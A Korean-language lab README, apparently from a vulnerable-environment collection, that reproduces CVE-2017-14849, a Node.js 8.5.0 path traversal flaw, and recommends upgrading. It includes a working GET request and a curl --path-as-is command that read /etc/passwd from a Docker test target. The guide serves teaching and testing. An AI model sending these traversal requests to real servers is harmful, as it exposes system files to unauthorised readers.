Skip to content

Latest commit

Β 

History

History
52 lines (31 loc) Β· 1.48 KB

File metadata and controls

52 lines (31 loc) Β· 1.48 KB

CVE-2017-14849

Contributors


Node.js 디렉터리 탐색 취약점 (CVE-2017-14849)

Node.js 8.5.0μ—μ„œ 파일 경둜 μ •κ·œν™”(Path Normalization) 취약점이 μžˆλ‹€. μƒμœ„ λ””λ ‰ν„°λ¦¬λ‘œ μ΄λ™ν•˜λŠ” 경둜 쀑간에 잘λͺ»λœ 폴더가 ν¬ν•¨λœ 경우(예: ../../../foo/../../../etc/passwd) 였λ₯˜λ₯Ό λ°˜ν™˜ν•΄μ•Ό ν•˜μ§€λ§Œ, μ •κ·œν™” λ²„κ·Έλ‘œ 인해 /etc/passwd λ‚΄μš©μ„ κ·ΈλŒ€λ‘œ λ°˜ν™˜ν•œλ‹€.

express.static()은 λ‚΄λΆ€μ μœΌλ‘œ 경둜 μ •κ·œν™”λ₯Ό μˆ˜ν–‰ν•˜λ©° 디렉터리 λ²”μœ„ 초과 μ—¬λΆ€λ₯Ό ν™•μΈν•˜μ§€λ§Œ, Node.js 8.5.0의 μ •κ·œν™” ν•¨μˆ˜ λ²„κ·Έλ‘œ 인해 이 검사가 μš°νšŒλœλ‹€.

참고 자료:

ν™˜κ²½ μ„€μ •

docker compose up -d

http://your-ip:3000/으둜 접속할 수 μžˆλ‹€.

취약점 μž¬ν˜„

/static/main.js에 정적 파일이 μ‘΄μž¬ν•œλ‹€. μ•„λž˜ μš”μ²­μœΌλ‘œ 디렉터리 νŠΈλž˜λ²„μ„€μ„ μ‹œλ„ν•œλ‹€:

GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: your-ip:3000

curl둜 ν…ŒμŠ€νŠΈν•  경우 경둜 μ •κ·œν™”λ₯Ό 막기 μœ„ν•΄ --path-as-is μ˜΅μ…˜μ„ μ‚¬μš©ν•΄μ•Ό ν•œλ‹€:

curl --path-as-is "http://your-ip:3000/static/../../../a/../../../../etc/passwd"

μ„œλ²„κ°€ /etc/passwd λ‚΄μš©μ„ μ‘λ‹΅μœΌλ‘œ λ°˜ν™˜ν•˜λ©΄ 취약점이 ν™•μΈλœ 것이닀.

ν™˜κ²½ μ’…λ£Œ

docker compose down

λŒ€μ‘ λ°©μ•ˆ

  • Node.js 8.6.0 μ΄μƒμœΌλ‘œ μ—…λ°μ΄νŠΈν•œλ‹€.